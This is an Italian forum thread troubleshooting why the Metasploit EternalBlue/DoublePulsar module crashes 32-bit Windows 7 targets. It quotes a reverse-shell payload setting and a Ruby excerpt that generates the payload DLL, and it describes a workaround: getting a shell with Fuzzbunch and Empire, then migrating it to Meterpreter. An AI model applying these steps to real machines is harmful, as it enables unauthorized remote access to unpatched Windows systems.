Domanda Modulo Eternalblue/Doublepulsar di Metasploit su sistemi a 32 bit

Stato
Discussione chiusa ad ulteriori risposte.

Cutl4ss

Utente Electrum
25 Giugno 2017
344
10
53
116
Dopo aver lanciato l'exploit, la macchina target (Windows7 Ultimate x86) si riavvia improvvisamente visualizzando una schermata blu di errore:
28s90g9.jpg

Questo invece è quanto accade sulla macchina attacker:
8zlgeh.jpg


Ho anche provato a cambiare payload e processo da injectare, ma l'errore si ripete. Qualche idea?
 
Perchè a volte viene sovrascritta una parte di memoria del processo con il payload che è considerata kernel side e quindi va in crash. Mi sembra.


Alessandro Nava
 
Il payload viene settato direttamente dal modulo con il classico:
Codice:
set PAYLOAD windows/meterpreter/reverse_tcp
Sui sistemi a 64 bit funziona.
 
il problema è nell'exploit stesso: infatti navigando fra le varie versioni di questo exploit su github si possono notare nei codici sorgenti degli appunti dei creatori (in parole povere dopo gli # in python) frasi del tipo "This exploit May cause a crash issue on the target machine" proprio a causa della parte di memoria che si va a sovrascrivere; comunque hai verificato che il computer vittima sia vulnerabile?
 
Sì, il pc è vulnerabile. Credo che il problema stia nella DLL generata da Metasploit:
Codice:
#Generate DLL
  print_status("Generating payload DLL for Doublepulsar")
  pay = framework.modules.create(datastore['payload'])
  pay.datastore['LHOST'] = datastore['LHOST']
  dll = pay.generate_simple({'Format'=>'dll'})
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
    print_status("Writing DLL in #{dllpayload}")
    f.print dll
Infatti provando con Fuzzbunch ed Empire il problema non si verifica.
 
Sì, il pc è vulnerabile. Credo che il problema stia nella DLL generata da Metasploit:
Codice:
#Generate DLL
  print_status("Generating payload DLL for Doublepulsar")
  pay = framework.modules.create(datastore['payload'])
  pay.datastore['LHOST'] = datastore['LHOST']
  dll = pay.generate_simple({'Format'=>'dll'})
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
    print_status("Writing DLL in #{dllpayload}")
    f.print dll
Infatti provando con Fuzzbunch ed Empire il problema non si verifica.
si è proprio il problema di Eternalblue che a volte fa crashare il target
 
Sì, il pc è vulnerabile. Credo che il problema stia nella DLL generata da Metasploit:
Codice:
#Generate DLL
  print_status("Generating payload DLL for Doublepulsar")
  pay = framework.modules.create(datastore['payload'])
  pay.datastore['LHOST'] = datastore['LHOST']
  dll = pay.generate_simple({'Format'=>'dll'})
  File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
    print_status("Writing DLL in #{dllpayload}")
    f.print dll
Infatti provando con Fuzzbunch ed Empire il problema non si verifica.
Sì, facendo delle ricerche molti si lamentano del fatto che il payload generato da metasploit faccia crashare il pc. L'unica cosa che mi viene in mente è fare una shellcode e poi injectarla tramite lo script in python che trovi su github.
 
Sì, facendo delle ricerche molti si lamentano del fatto che il payload generato da metasploit faccia crashare il pc
Sì, la DLL caricata da DoublePulsar. Comunque ho "risolto" con Fuzzbunch ed Empire. Una volta ricevuta la shell, setto un listener da Metasploit e tramite il modulo "code_execution" di Empire migro a una shell Meterpreter.
 
Scusami, sono poco esperto di linux e exploit, di solito mi dedico a reverse enginnering.
Come seleziono l exploit e come preparo il payload?
 
Grazie mille, per caso mi puoi spiegare come utilizzarlo?
è molto semplice e intuitivo ti allego anche una guida youtube; fuzzbunch è come se fosse una GUI dove selezionare l'exploit e poi in base all'exploit che selezioni il funzionamento è diverso e ovviamente i non li so usare al 100% tutti comunque se anche questa spiegazione non ti ha soddisfatto ecco un piccolo video youtube che ti può aiutare:
 
Stato
Discussione chiusa ad ulteriori risposte.